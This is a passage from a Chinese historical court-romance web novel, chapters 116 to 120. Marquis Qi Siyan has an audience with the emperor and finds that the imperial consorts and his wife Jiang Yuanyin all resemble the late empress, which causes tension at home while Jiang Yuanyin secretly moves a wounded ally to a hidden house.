折腾了大半日,李霁终于从江元音嘴中听到了一句想听的话,重新展开折扇扇了扇,“那夫人便上车吧。”
江元音抬步走过去,没急着上车,而是仰头对他说道:“还请公子先下车。”
李霁只当她又是为了什么人言、名节,不想同他距离太近,在随侍不可思议的目光中,好脾气地下了车。
不过片刻,站在豪华红木马车上的,便是江元音主仆了。
她没急着进车厢,而是对李霁道:“此处离侯府不远,马车来回不过一刻钟,想来公子愿意送我回府,也是不赶时间,那就劳烦公子在此处稍等,待我回了侯府,会安排人手过来处理这被射毁的马车,一道将公子的马车送回来。”
于是短短三个时辰内,熟悉的一幕再次上演。
江元音再次甩下李霁,乘车扬长而去。
只不过这一回,她坐的是李霁的马车。
李霁差点没捏碎手中的折扇。
……该死!
若不是她生了那张脸,若不是!
江元音坐着豪华宽敞的红木马车,回了侯府。
踏入府门的第一句话,便是询问看守大门的门房:“侯爷可回来了?”
第116章 阿音和她眉眼相似
而齐司延今日领旨进宫后,一路被曹学良领到了龙吟湖畔清凉殿。
宽敞的殿内候着四位宫女,立即迎了上来。
曹学良道:“圣上政务繁忙,这会估计还在御书房议事,还请侯爷在此稍等,老奴这就去御书房禀告圣上。”
齐司延微微颔首:“有劳曹公公。”
“应当的,应当的,”曹学良笑着连应了好几声,继而余光一扫四位宫女,吩咐道:“你们好生侍候侯爷,不得怠慢!”
“是,曹公公。”
曹学良快步离去,齐司延随便寻了个主位下方的位置落座。
宫女上前斟茶倒水,为其扇扇解暑。
齐司延神色淡然地端坐,不左顾右盼,也不饮茶吃点心,只是眺望湖中水景,安静等待。
约莫过了半个多时辰,圣上李彦成终于踏步而来。
李彦成年近五十,精气神极好,半点不见疲态。
齐司延起身行礼:“臣,齐司延拜见皇上。”
“免礼,”李彦成伸手,虚扶了他一把,欣喜慈爱地打量他,感慨道:“犹记得上回见你,你还只到朕的肩膀,没想到一转眼,竟已生得如此高大,颇有乃父之风啊!”
他关怀问道:“你身子,当真都好了?”
“回皇上,应是好了个七八,”齐司延垂首低眼地作答:“劳皇上记挂,年年赏赐珍稀药材,臣如今已耳清目明,四肢也不再疲软无力。”
他后退一步,拱手作揖,又俯身行礼,道:“臣蒙圣恩多年,从前有心无力,现在终于能继承父母遗志,回报圣恩。”
李彦成却不接话表态,而是扫视了下殿内,不悦道:“怎未摆放青铜冰鉴?午后酷热难当,你们便让定宁侯在这饮热茶等朕?”
齐司延入宫是午时,加上在此等候他从御书房过来那一个多时辰,正是一日中最热的时候。
宫女们跪了一地,惶恐道:“奴婢该死,皇上息怒!”
“是老奴思虑不周,”曹学良开口道:“老奴见侯爷久病初愈,恐其不耐寒,才未命人摆放青铜冰鉴,嘱咐她们倒热茶温水,没成想却让侯爷受了热,是老奴该死……”
齐司延等他们通通说完,方才淡声道:“清凉殿内水风穿堂,又有宫女执扇扇风,臣并未受热。”
李彦成这才舒展了眉目,抬步迈向殿内主位落座,示意齐司延也落座。
宫女们忙端上解暑夏饮。
他坐姿随意,并不似接见大臣那般正式严肃,看向齐司延的眼神充斥着亲昵关爱,犹如同自己宠爱的子孙闲谈那般的和睦。
“你久病初愈,不能掉以轻心,朕今日宣你前来,也是想让御医为你诊诊脉,给你培元固本,彻底养好你的身子,”说完扫了曹学良一眼,“可请了御医?”
曹学良颔首:“皇上出御书房便命人去请了,这会也应该要到了。”
然而这时只听环佩叮当,御医没到,倒是有妃嫔袅袅而来。
清凉殿就建在湖中央,没有门墙,唯有飘扬的帘幔。
曹学良眺望了一眼,俯身禀告李彦成:“皇上,瑜贵妃娘娘来了。”
话音刚落,瑜贵妃已穿过水上长道,人未至,娇柔的笑声倒先传来:“皇上今儿个怎么有兴致在清凉殿消暑,何不唤臣妾一起?”
瑜贵妃不过三十出头,保养极好,自入宫以来,颇得李彦成欢心,是如今大昭后宫,唯一的一位贵妃。
因此,她才会听闻李彦成在龙吟湖畔清凉殿,便施施然赶来。
“你倒是来得凑巧,朕才刚落座,”李彦成笑道:“朕可不是来消暑的,是特意来见病愈的定宁侯。”
瑜贵妃迈进殿内,虚虚朝李彦成行了个礼,“皇上万安,还望皇上饶恕臣妾来不逢时,扰了皇上同定宁侯寒暄议事。”
“无妨,朕今日见司延,只为寒暄,不为议事,爱妃留下便是。”
得了李彦成的许可,瑜贵妃这才身侧看向齐司延。
四目短暂交汇,齐司延墨眸倏地收紧,随即低眼避开,保持淡然道:“臣齐司延,见过贵妃娘娘。”
刹那间,他恍然明白了,为何之前曹学良去侯府宣旨,目光会不住落在江元音的身上了。
江元音同瑜贵妃的眉眼,竟有五分相似。
瑜贵妃道:“定宁侯久病初愈,真是喜事一件啊,可是遇着了神医,才治好了顽疾?”
她虽是见到齐司延,所以随口一问,但也是真好奇。
定宁侯先天有疾,这是全汴京人尽皆知的事,这么多年,御医都无能为力,怎地突然好了?
齐司延道出早备好的说辞:“自齐文台一家离开我侯府后,身子便日日见好,直至今日,已好了个七八成。”
主位上,李彦成的脸忽然阴沉了几分。
不管其他人是不是有所察觉,曹学良是看得一清二楚,心里咯噔了下,好在这时,水上长道上,终于有了御医快步而来的身影。
曹学良忙扬声道:“皇上,御医来了!让御医为定宁侯看诊吧!”
李彦成握住杯盏,“嗯。”
御医提着药箱进入殿内,一一给众人请安行礼后,迈至齐司延身侧,替他把脉看诊。
此时殿内无人出声,大家神色各异,却都默契地落在齐司延身上,等候御医看完出声。
殿内静默不过片刻,又闻一阵环佩声。
水上长道上多了抹轻快俏丽的身影。
曹学良心中腹诽,这个时候怎地都来凑热闹了,面上赶紧禀告道:“皇上,婕妃娘娘来了!”
瑜贵妃眸色一沉,眉目里全是压抑的不满。
婕妃不过二十出头,刚入宫不久,正得圣宠。
原本端坐任由御医诊脉的齐司延,下意识地抬眸看了一眼。
这一眼,让他呼吸一滞,心口一沉。
婕妃同瑜贵妃,更是生得相似。
……怎会如此?!
第117章 皇上还能强抢臣妻?
一番诊脉后,御医俯身冲李彦成回话:“启禀皇上,侯爷身子已无大碍,只是病了数十载,身体亏空,仍需好好调养。”
李彦成了然颔首,吩咐道:“再开些调理的药方,只要是御医院有的,司延用得上的药材,不管多稀有名贵,通通拿来便是。”
“是,皇上。”
御医退下,齐司延拱手行礼谢恩:“谢皇上赏赐。”
“皇上待侯爷真真是极好,”曹学良冲齐司延感慨道:“单说能乘坐马车至西华门的特许,老奴侍候皇上这么久,也就侯爷一人有这特恩呢!”
“齐大将军夫妇以身殉国,就留有司延一个孩子,朕不待他好,该待谁好?”
曹学良连连点头附和,“是是是,皇上待侯爷那是视如己出的疼宠!”
齐司延波澜不惊地等他们说完,再开口却是一派动容:“皇上待臣,远超臣之血脉至亲。”
他垂眸,怅惘道:“臣如今……已无血脉至亲。”
“怎会?”一旁的婕妃刚咽下颗冰镇葡萄,讶然道:“定宁侯不是还有亲叔父吗?他们出事了?”
齐文台一家的事,上个月虽闹得沸沸扬扬,但她自入宫后,一心都在后宫的争宠上,对宫外的事是半点不感兴趣,也不知晓。
婕妃在后宫中,素来是美丽无脑的代称。
若非样貌生在了李彦成欢喜的点上,早死了八百遍了。
果然她一开口,李彦成眸色便沉了沉。
曹学良颇有些无语地瞟了其一眼。
静默不语的瑜贵妃察觉到李彦成的情绪,终于有心情尝一口宫女剥好的冰镇葡萄。
同样心情不错的还有齐司延,接过婕妃递过来的话茬,道出早备好的说辞:“臣之叔父齐文台,收受贿赂、买卖公职、逼死良民,已被御史台查办,臣之叔母,侵占侯府财物,苛待臣妻,觊觎臣侯爵之位,谋害臣妻腹中胎儿,扭送刑部,畏罪自杀,二人嫡子齐明宏更是为非作歹,坏侯府名声,亦于牢狱中,畏罪自杀。”
“畏罪自杀”四个字他说得缓而重,不着痕迹地打量李彦成的神色。
末了,他接着道:“臣已与之断亲,许是驱逐了小人,身子不药而愈。”
李彦成尚未表态,倒是婕妃听得认真,“这也真是玄乎,听起来还真似是你二叔一家克你呢,难道说你之前生病同他们……”
“哎呀——!”
曹学良倏地惊呼了一声。
婕妃吓了一跳,拍抚着自己的心口埋怨道:“曹公公,你好端端突然叫什么?吓我一大跳!”
曹学良在心里怒骂了几句蠢货,面上却是一副恭敬模样,解释道:“娘娘说到玄乎,老奴忽地想起一件事,一时有些激动,还望娘娘见谅。”
他朝李彦成俯了俯身,又道:“皇上,老奴倒是觉得,侯爷此番病愈同齐文台一家子无关,是皇上钦赐了一段良缘,自从侯夫人嫁入侯府,侯爷身子便逐渐好了起来,要说玄乎,定也是皇上圣明,替侯爷选了个福星为妻,镇住了侯府中邪祟啊。”
瑜贵妃随之附和出声:“定宁侯生病要是同齐文台一家子有关,怕是在幼时就出事了,臣妾认可曹公公说的,都是皇上替定宁侯选了个福妻,定宁侯身子方才不药而愈。”
李彦成笑了笑,“听起来倒有几分道理。”
曹学良眸光锃亮,顺势道:“皇上要是见了侯夫人,更会觉得老奴说得有理。”
“哦?”李彦成饶有兴致,“为何?”
“老奴今日去侯府宣旨,有幸瞅见了侯夫人容貌,侯夫人的面相一看便是有福之人,老奴形容不好,皇上得空宣侯夫人入宫,一见便知。”
齐司延眼底已是暗流汹涌,神色却不见起伏,开口道:“能得皇上赐婚,自是有福之人,不仅臣妻是,微臣更是。”
“自臣父母离世后,皇上对臣多般照拂,臣是沾了龙恩福泽,才有今日。”
他三言两语便将李彦成那被曹学良引到江元音身上的注意力给拉回到自己身上,起身走至殿中央,朝李彦成跪下行礼,再次重复之前被其无视的话,道:“父亲、母亲当年助皇上打下江山,可惜命薄,没能为皇上效忠到老,而今臣身子大好,愿继承父母遗志,为皇上效犬马之劳。”
他俯首:“臣定当鞠躬尽瘁死而后已!”
李彦成闻言,果然无心江元音是何长相,他放下手中杯盏,没急着回应齐司延,而是侧眸扫过瑜贵妃和婕妃,“你们先退下。”
瑜贵妃一听便知他是她们碍事了。
准确地说,是嫌婕妃那个蠢货碍事。
她不多言,起身行礼:“臣妾告退。”
婕妃对李彦成的情绪一无所察,更没意识到自己刚刚失言,但见瑜贵妃要走,她也愿意走,冲李彦成娇笑道:“那臣妾便陪姐姐一道告退了。”
两位妃嫔一走,殿内清净许多。
李彦成这才冲还跪在殿中央的齐司延道:“你有这份心思,朕很欣慰,虎父无犬子,假以时日,你定是朕的左膀右臂!”
一番赞叹后,他话锋一转,“不过你身子刚好,又从未着手过公务,一切需得从长计议,不能操之过急。”
“起来吧,你腿脚刚好,别跪着了。”
齐司延谢恩起身,重新回到位置。
这时李彦成似是想到什么一般,又道:“不过听曹公公说,今日去侯府宣旨时,侯府不胜热闹,关将军等人悉数在侯府,”他微顿,状似不经意地问:“他们可有给你建议啊?”
“今日关将军等人登门,和皇上一样,是欣喜于臣病愈,前来探望,只问了几句我同齐文台一家断亲的始末,尚未谈及其他,臣便领旨入宫了。”
李彦成若有所思,“早知如此,朕便宣他们一道入宫了。”
“是老奴失察,”曹学良忙请示道:“老奴现在派人去宣关将军等人入宫?”
李彦成颔首:“司延病愈,朕心甚喜,宫里也许久没办过宫宴了,便宣关将军等人进宫小酌一杯,他们都是齐大将军昔日部下,与司延渊源颇深。”
“司延一片赤忱之心,要为朕分忧,朕正好听听他们有甚好建议。”
曹学良俯身:“是,老奴这就派人去宣旨。”
当晚,李彦成在偏殿,办了个小型的宫宴。
受邀的全是同齐腾夫妇生前有所往来的武将、大臣。
齐司延和任何人都不交好热络,只会在他们主动来和他攀谈举杯时,噙着浅淡有礼的笑,同他们碰杯饮酒。
数杯美酒入肚后,好些个武将情绪明显高涨。
李彦成带了个头缅怀起齐腾夫妇,随后便端坐高位,旁听这些人追忆往昔。
酒过三巡,李彦成环顾众人,扬声问道:“如今司延病愈,也可以着手处理公务了,不知道诸位可有建议啊?”
众人面面相觑,却无一人开口说话。
李彦成双眼转了一圈,最后落在了关啸身上,问:“关将军曾随齐大将军出生入死,关系匪浅,关将军以为,司延该做文臣还是当武将啊?”
“当武将?”关啸满脸酒气的红,打了个酒嗝,似是已有了几分醉意,顾不得什么礼节,指着齐司延摆摆手,“不行,侯爷不行……嗝——”
“哦?如何不行?”李彦成追问。
“侯爷长这么大都没习过武,也不会病一好就会舞刀弄枪啊,没可能行军打仗……”
“老关!”李将军喝止他,“我看你是喝多了,赶紧闭嘴,莫在皇上面前胡言乱语,御前失仪!”
说着又看向齐司延,打圆场道:“老关是担心侯爷身体,绝非瞧不上……咳,侯爷莫怪哈。”
这话有越描越黑的嫌疑,气氛更紧张了。
李彦成喜怒不辨,静候齐司延的态度反应。
齐司延淡声回道:“司延深知自身能力较之父亲、诸位将军,还差之千里,诸位无需看在父亲的面上,对我过多爱护。”
继而朝李彦成拱手作揖,“只要能为皇上分忧,无论文臣还是武将,臣都在所不辞。”
“臣一切,全凭皇上做主。”
李彦成这才满意颔首。
一直过了亥时,这场“宫宴”才散了席。
直至各自被侍从扶走时,齐司延才同闹了“不愉快”的关啸等人交换了眼神。
一切,都在按照他的计划行事。
上了特许停在西华门的马车,齐司延闭目小憩。
直到马车驶离了宫门,他方才睁开眼,沉声问曲休:“查明白了?”
“是,”曲休回道:“婕妃与瑜贵妃并非亲戚姐妹,她们都因有几分像先皇后,才得了圣心。”
齐司延整张脸,霎时乌云密布。
曲休看在眼里,尝试宽慰道:“虽说夫人定也同先皇后有些相像,但夫人可是皇上赐婚给侯爷的妻子啊。”
前边那个曹公公说什么夫人面相有福,要皇上见一见,八成是宣旨时见夫人长得像先皇后,没安好心!
皇上难不成还能做出强抢臣妻的荒唐事吗?
然而齐司延的面色却没有半点缓和,墨眸眼底,已然是惊涛骇浪。
在他父母去世前,他曾随父母入宫,同先皇后有过几面之缘。
他恍然回神,为何会在成婚后第二日,见到江元音的第一眼,便觉得她生得眼熟,好似在哪见过。
原来如此。
怎能……如此?
第118章 皇宫里,有谁知晓她的身世
齐司延回到侯府,已过了亥时。
他好似淋了一场雨,整个人包裹在阴暗潮湿里。
他反常地没有去洗漱,而是带着满身的酒气回到了主屋。
靠着惯性与微薄的夜光,他走至床榻旁,悄无声息地盯着她。
在黑暗中待久了,双眼适应了黑暗,也能在没点灯的房间里,清晰勾勒出她的模样身形。
面朝里侧,背对着齐司延侧卧的江元音,早就醒了。
她一直在等他。
回了侯府后,得知齐司延还未归,她命人去还了马车,随后沐浴洗漱,换下沾了血污的衣裳。
穿上干净的睡衣,她索性熄灯躺上了床,酝酿着和他夜谈的说辞。
这一天于她而言,实在漫长。
他终于回来了。
可江元音嗅到了在房间里弥散开来的酒气,不由得蹙眉。
他喝酒了?
喝了多少?可还清醒?
今夜还能和她好好谈吗?
江元音正纠结着,忽然听到他倾身凑近床榻的声响,那股子酒气愈发的浓郁。
看来今晚是没法子摊牌沟通了。
她心里的火不可名状地越烧越烈。
他将她耍得团团转,自己倒是过得轻松快活,喝得烂醉回来,就打算不洗漱直接躺上来吗?
江元音正欲起身阻止齐司延就这么带着满身的酒气躺下,却感受到他伸手落在了她的左肩上。
隔着单薄的睡衣,他轻轻摩挲着她的左肩。
这般亲昵的举动,不过是他们往日床笫间的常态。
可今日江元音心里窝着火,并不想与之亲近。
她往里侧倾身,肩膀便逃离了他的掌心,避开了他的碰触,她张唇正要发声,不凑巧的,他的声音率先响起。
“你……”
齐司延声音格外喑哑,很费劲才吐出一个字。
他想大抵是今夜的酒太过苦涩,以致于他难以张唇发声。
江元音索性停住,等他先开口。
见江元音又没了动静,齐司延只当她刚刚的动作不过是熟睡时的翻身,并未清醒。
他再次探手往前伸了伸,落在她的左肩上,一阵摩挲后道:“你不是江兴德的女儿……?”
疑问的句式,却透着笃定。
这短短的一句话,每个字都好似从他的喉咙口硬生生挤出来的一般。
江元音心脏骤停。
……他怎么会知道的?!
……他今日不是进宫面圣去了吗?!
她庆幸此时是在未开灯的房间,而她是面朝里侧,她惊慌的神色得以藏匿。
她随即恍然,他刚刚的触碰,并不是往日两人之间的亲密互动。
他一直摩挲的,是她左肩上的刺青?!
他如何会知道她的刺青和她的身世有关?
难不成他今日入宫,遇到了已经入宫伴读的江正耀?
是江正耀同他说了什么?
江元音原本不打算提及的“大秘密”被他戳破,短暂的慌乱过后,反而是释然。
也好。
既要坦诚,就坦诚个彻底。
她可以告知他自己的身世秘密,来表现自己的诚意。
等他也不再隐瞒,一一回应解释,他为何要欺瞒利用她,又到底在同关啸等人谋划什么之后,她会告诉他,她在泉郡的遭遇,她为何会识得又为何会解陆氏所投的毒,以及李承烨正在泉郡做哪些谋划。
她可以当助他的“妻”,不能做被他利用的“棋”。
“你是……”
齐司延再次开口,呼之欲出的答案却卡在了嗓子眼。
他好似被针扎了一般,倏地收回了落在江元音肩膀上的手,猛地站直了身子。
他呼吸重了重,转身抬步离开。
江元音一头雾水地坐起身来,紧声问道:“侯爷要去哪?”
没点灯的房间太暗,她勉强只能看到他的模糊的身形轮廓,看不清他的面容。
齐司延驻足,却没有转身,片刻后才沉声回应道:“吵醒你了?”
“没有,我……”一直是醒着的。
齐司延却没给她说完整的机会,出声打断道:“很晚了,你接着睡吧,我今夜饮了酒,身子不适,便不宿在主屋了。”
语罢,他不等江元音反应,快步离开。
江元音尝试挽留:“侯爷还是留下睡在主屋吧,万一有不适我还能照顾侯爷。”
回应她的,是齐司延的关门声。
江元音愣在床上,完全摸不着头脑。
……这就走了?
酝酿了一晚的情绪言辞没能派上用场,静谧的房间里只剩下些许酒气。
这一夜,江元音辗转反侧,难以入眠。
次日清晨,江元音起了个大早。
起身梳洗时,命清秋去厨房煮了碗醒酒汤,梳洗完毕便端着醒酒汤,去寻齐司延。
待他喝完了醒酒汤,他们总该好好谈一谈了。
然而,齐司延并不在起居室。
她又去了书房,依旧没见到他。
小厮上前,禀告道:“夫人,侯爷出府了。”
“侯爷去哪了?”江元音掀了掀眼皮,声音冷了冷,“他不会又让你告诉我,他去云鹤观了吧?”
小厮被她这一眼扫得后背冒汗,连连摇头道:“不是的夫人,侯爷忙公务去了。”
“什么公务?”
“小的不知,侯爷没详尽跟小的说,小的更不敢过问,要不等侯爷忙完回来,夫人再问问?”
“那侯爷可有说,他何时回来?”
小厮仍旧摇头。
江元音不再多问,侧眸看清秋端着的醒酒汤,“倒了吧。”
语罢,抬步离开。
整整一日,齐司延音讯全无。
当晚,江元音点灯,坐在外间静候他回来。
等到过了戌时,只等来了早上的小厮。
小厮道:“夫人,侯爷回起居室那边睡了,让夫人也早些休息。”
江元音沉脸。
如果说昨晚齐司延是因为饮了酒,所以才不歇在主屋,那么今晚,他显然是在躲她。
为何?
他知道她去了云鹤观,推测出她已经知道他的谎言伪装,所以心虚逃避?
还是说……因为知晓了她不是江兴德的女儿?
他……嫌弃她是身世不明的孤儿?
雪燕和清秋对视了一眼,暗叫不好。
昨日陪夫人去了趟云鹤观,便忧心两人要闹不愉快。
今天清晨去侍候夫人晨起,见侯爷昨天没睡在主屋就知大事不妙。
今晚侯爷又不回主屋睡,夫人得多伤心啊?
两人斟酌着安慰的话,尚未来得及开口,江元音倏地起身。
“夫人?”
“我去找侯爷。”
江元音厌恶这样含糊不清的态度,不上不下没有着落的心情最是煎熬。
她不愿再辗转反侧一夜。
于是雪燕、清秋速拿了提灯,陪着江元音快步去往了齐司延的起居室。
屋内不见烛火光影。
这一回,拦住江元音的人是曲休。
曲休似是早就做好了江元音要来的准备,俯身开口道:“夫人,侯爷昨夜宿醉,一大早便又出门处理公务,辛劳一日,这会已经睡了。”
他接着劝道:“夫人也早些回屋歇息吧。”
江元音看着曲休,直截了当地问:“侯爷为何躲我?”
“曲休不知。”
江元音下了结论,“所以,侯爷的确在躲我。”
曲休被噎住,一时无言以对。
江元音敛了平日里一贯温和的笑,没甚情绪地对曲休说道:“我不为难你,我有几个问题问你,你若不便回答可以不答,但不能骗我,可否?”
曲休点头:“夫人请问。”
江元音问:“昨日侯爷可是在何处遇到了我的家人?”
“未曾,昨日侯爷一直在宫中,直至亥时离宫。”
“侯爷知我昨日离府去了云鹤观?”
曲休讶然反问:“夫人昨日去了云鹤观?”
江元音忽然有些茫然。
曲休的反应把她的猜度一一否认。
齐司延压根不知道她去了云鹤观,那便不可能是因为知道她发现了他的谎言,所以心虚逃避。
而他也没有见过江家人,是怎么得知的她不是江兴德女儿的?
江元音思绪翩飞,曲休按捺不住地追问:“夫人去云鹤观做什么?”
江元音回神,“我知你是为了侯爷问的,”她抛出了饵,“侯爷若想知道,便让他来问我。”
曲休再次被噎住。
他尚不清楚为何侯爷会在知晓夫人同先皇后样貌相似后,对夫人避而不见。
现在也问不出夫人为何要去云鹤观。
他这个传话的,两头摸不清,两头都没法多问,只能无力叹息道:“那夫人可还有要问的?”
江元音沉思片刻,状似随意地问:“侯爷昨日入宫后只见了皇上?”
“不止,”曲休如实以告,“下午皇上在龙吟湖畔清凉殿召见了侯爷,之后瑜贵妃、婕妃娘娘相继过来,皇上又召了御医替侯爷看诊,晚间设了宫宴,召关将军等人入宫。”
江元音一一记住琢磨着他提到的人,一瞬不眨地望着他,重声问道:“这些人中,谁提到了我?”
她回忆起昨夜齐司延摩挲她左肩刺青的事,她面色没有起伏,指尖却因用力蜷缩而泛白。
皇宫里,有谁知晓她的身世?
第119章 她要一个答案
曲休稍作思考,想着这个问题应当是可以回答的,便回道:“曹公公。”
“曹公公?”
曲休颔首:“曹公公说夫人面相生得好,是有福之人,让皇上得空见见夫人。”
江元音只觉得莫名其妙,继而回忆起曹学良昨日来宣旨时,的确不住频频看她。
她当时注意力都在,齐司延到底骗了她些什么上,并没有太在意。
现在想来着实有些古怪。
只是她面相生得有福同她的身世,是八竿子打不着吧?
江元音又问:“还有谁提到了我?”
曲休摇头。
江元音的思路断了。
齐司延到底是如何知道她不是江兴德的女儿的?
他昨夜反复摩挲她左肩的刺青,难道他已知晓她的身世?
那他会知道她的亲生父母是谁吗?
思及此,心脏似被人揉捏拉扯,一阵绞痛。
江元音承认,在这个问题上她仍旧怯懦。
近乎本能地逃避有关亲生父母的一切,她不想知道、也不想去了解,她当年被遗弃的原因。
曲休反复抬眼低眼,斟酌着言辞开解道:“侯爷昨日入宫并不顺遂,侯爷定是不想让夫人受他情绪影响,徒增烦恼忧思,这才避着夫人。”
“侯爷昨夜饮酒未能安寝,今天白日又奔波了一日,着实受了累,还请夫人不要多想,给侯爷点补觉缓神的时间,待侯爷精神头好了,自然就回主屋睡了。”
他其实说得非常婉转了,侯爷可不止是精神头不好。
整整一日,侯爷那张脸跟冰封了似的,半点表情也没有。
更是惜字如金,如非必要,根本不开口。
这样阴沉沉的侯爷,上一次见,还是一年前。
江元音沉默片刻,松开了蜷缩的手指,开口道:“好,那我今夜就不打扰侯爷休息了。”
曲休松了口气,侧身摆出恭送的姿势:“夫人慢走。”
江元音没挪步,又道:“有几句话,你帮我转告侯爷。”
“夫人请说。”
“我理解他这两日辛劳,但我一样疲累,烦恼与忧思,亦不是只他一人有,我去了趟云鹤观,心间诸多困惑,还望侯爷睡好了,能与我解惑。”
江元音点到为止,抬步离开。
她提了云鹤观,相信齐司延一听便知道她已发现他欺瞒她的事。
算是她在两人这场误会与较量中,主动戳破,迈出了第一步。
江元音不仅是多给了齐司延一晚的时间,亦是给了自己一晚的时间来消化缓冲。
这两日,不断有新的矛盾问题涌上来,她需要不停地思考做出抉择。
现下,她需要思虑清楚,如果齐司延知道她的亲生父母是谁,她当作何反应。
只有将这些都想明白了,才不会在和他的摊牌沟通中慌神。
又是一夜辗转难眠。
清晨,雪燕和清秋一如往常进屋侍候她更衣梳洗。
两人交换了下眼神,雪燕从清秋端着的铜盆中拧了帕子,递给江元音后,主动道:“夫人,侯爷又出府了。”
她们都知江元音寻了齐司延两日了,是以在其起床前,一直留心齐司延那边的动静。
怕江元音起来后,如昨日一般,又白跑一趟,徒增失望伤心。
江元音拿帕子的手微顿,随即如常擦拭了脸,冲雪燕道:“拿一身你的衣服给我。”
雪燕不解,但还是听话地应声去拿了。
江元音换上了雪燕的衣服,又梳了丫鬟的发髻,细心戴上雪燕的发饰。
既然齐司延出府了,想必不到晚上不会回来,与其在侯府干等,不如去谋划做点自己的事。
比如,去西街医馆看望封弋。
她那日离开医馆时说了,让他好好养伤,她过两日去看他。
刚好两日了,也不知道他好些了没有。
之所以要乔装扮成雪燕的模样,是怕被那日锦衣华服,身份不明的男人盯上。
他若真是因为封弋接近试探她,搞不好会派人守着侯府,她一出门便尾随跟踪。
江元音非常谨慎,不仅扮成了雪燕的模样,舍掉了之前出门戴过的帷帽,和清秋一起戴上较为不起眼的面纱,甚至让雪燕留在府上。
雪燕眨巴眼,有些小小的委屈:“夫人为何不带我?”
“我既扮成了你,当然不能再带你了,”江元音挑眉,“不然岂不是有两个你了?”
“何况三个‘丫鬟’出门,到底比两个人来得引人注目,此行,需得万般低调,”江元音拍了拍雪燕的手,“府中的事便交予你打理了。”
雪燕一听自己被委以重任,委屈失落一扫而空,“夫人放心,雪燕定不让你失望!”
江元音同清秋,从侯府偏门而出。
要低调行事,自不能乘坐马车,依照之前为了忽悠陆氏,常让清秋出府去西街买糕点的路线,两人一路步行至西街的糕点铺。
待买好了糕点,才“顺路”去了趟西街的医馆。
一推开病房门,便同封弋的视线撞了个正着。
他仍是她两天前离开时的那副模样,正对着房门,盘腿坐着。
令她有一瞬的恍惚,要不是他已换了身不染血的干净衣裳,她都忍不住怀疑,是不是她离开后,他便一直这样坐着。
封弋目不转睛地看她,面容冷峻,难辨喜怒。
江元音缓了下神,想到自己今日的装扮大不相同,避免被他误伤,率先出声问道:“你可还记得我?”
封弋张唇:“江元音。”
江元音松懈下来,这才朝她迈步走过去,颔首应道:“是我。”
她走至他面前,边打量他边询问道:“你的伤可好些了?”
“嗯。”
江元音见他面色看起来的确好了不少,比起上回见到他,至少多了些活人的气息。
他恢复得比她预料中的要快得多,毕竟她上次离开时,那医馆郎中的口吻,好似他随时便会熬不过而死。
是以她扫了眼他盘坐的双腿,随口猜测问道:“你这是在运功疗伤?”
她不懂武,但见他上回吃了静息丸后,在马车里一直是这个坐姿。
他好得这般快,是因为自己会运功疗伤?
封弋却突兀地回:“两天了。”
江元音尝试理解他这看起来牛头不对马嘴的回答,“你的意思是,你在医馆里待了两天了,所以恢复得快?”
封弋沉默盯了江元音好一会,最后侧头,收回了一直落在她身上的目光。
……不说也罢。
江元音搞不懂封弋,但也不执着于搞懂他。
她确认他对自己没有“杀意”,便尝试开口问道:“是谁把你伤成这样?”
会是那位“追”了她一路,又是要借乘,又是要送她归府的锦衣公子吗?
封弋不语。
他缄口不言,倒也在江元音的意料之中。
她不再追问,直接道:“能将你伤成这样,定也不是普通人,他或许还在找你,医馆目标太明显,你留在这恐不安全。”
“我买了间街角巷落的小屋子,你既好些了,便搬去那养伤吧,我会雇个郎中,在那照看你。”
汴京的医馆再多,只要有心,加上人手充足,不出三五日,追杀封弋的人,定能寻到这来。
封弋再次抬眸看她。
江元音不躲不闪,大大方方任他打量,“你不同意?”
她面色平静,没有半分恼怒。
她给的都是建议,他要是不同意,她不会勉强,亦没法勉强。
“……没有。”封弋出声。
见他松了嘴,江元音立即推进,“那我们现在就走吧。”
封弋没有拒绝。
江元音马上去找了医馆的负责人,迅速敲定了事宜。
不到一刻钟,封弋被医馆的伙计用担架抬上了运送伤患的手推车,而江元音和清秋套着医馆伙计的衣服。
封弋躺在推车上,蹙眉盯着她这一身穿着。
“小心驶得万年船,”江元音伸手,将他身上的薄布扯了扯,盖住他大半张脸,“一切都是为了你的安全考虑。”
为了避开他仇家的耳目,她也真的是煞费苦心了。
好在封弋还算配合,任由她拿布盖住了他的脸。
江元音有条不紊地将封弋安顿在西街不起眼的巷弄小屋里,留给了看守的郎中一袋银钱,换下身上伙计的外衣,一如上次离开一般对封弋道:“好好养伤。”
语罢转身便走。
几步后,封弋唤住她。
“江元音。”
江元音驻足回首:“还有事?”
“你……预备何时离开汴京?”
江元音讶然,没想到他唤住自己是要问这个。
只是这个答案还得同齐司延聊过后才知道。
她眉目间染上几分未知的怅惘,回道:“尚不确定,下回再告诉你。”
封弋绷着脸:“下回是什么时候?”
上次她走时说了过两日,今天却什么都没说。
江元音稍作思索,“三五日吧。”
出门太频繁容易惹人生疑。
封弋表示了然的点点头。
没有乘坐马车,江元音再回到侯府,已是下午了。
一回府雪燕便呈上一封绣着暗纹的帖子,禀告道:“夫人,上午户部尚书府李夫人派人送来了邀约贴,说是府上荷花开得正好,办了个赏荷品茗会,邀夫人明日去消暑论诗。”
江元音一目十行地扫完了拜帖,“唤人去尚书府回个信,便说明日我定准时赴约。”
一个月前齐文台的生辰宴,是王氏帮忙指证了齐明宏,表明了尚书府的立场。
王氏要办品茗会,她自没有不去的理。
连着两夜没休息好,白日里又步行往返东西街,江元音甚觉疲惫,便回主屋小睡了一个时辰。
醒来时,已是日暮时分。
她用过晚餐,径直去了齐司延的起居室。
他多晚回来都没关系,她就在他起居室里等着他。
今夜,她绝不许他再逃避。
她要一个答案。
第120章 原来这才是真相
江元音屏退雪燕、清秋,独自坐在齐司延的起居室里等待。
估算了下时辰,她甚至谨慎地灭了烛火,免得齐司延意识到她在屋里,避而不入。
今夜她做了万全的准备,一定要和他把话说开。
约莫过了两刻钟,她终于听见了声响。
不过是来自和起居室连着的药浴池。
她借着药浴池的光,走到连接两间房的门后,朝药浴池看去。
有两个小厮正在往药浴池里倒水。
她观察了一会,见他们没有往药浴池里加入药包药材,猜想齐司延应该只是想沐浴洗漱。
小厮将药浴池灌了个七分满,便离开了。
未多久,齐司延和曲休进了药浴池。
江元音藏匿在门后的阴影里,望着齐司延。
明明不过三日未见,他却好似清减了不少,视野里他侧脸的轮廓,越发的棱角分明。
他好像真的过得不太好。
曲休开口确认了一遍明日的行程安排,齐司延轻“嗯”一声,示意其退下休息。
曲休欲言又止,“侯爷,昨日夫人……”
“退下。”齐司延冷声打断。
曲休满眼纠结,鼓起勇气再次开口:“夫人昨日说……”
齐司延再次打断:“本侯让你退下。”
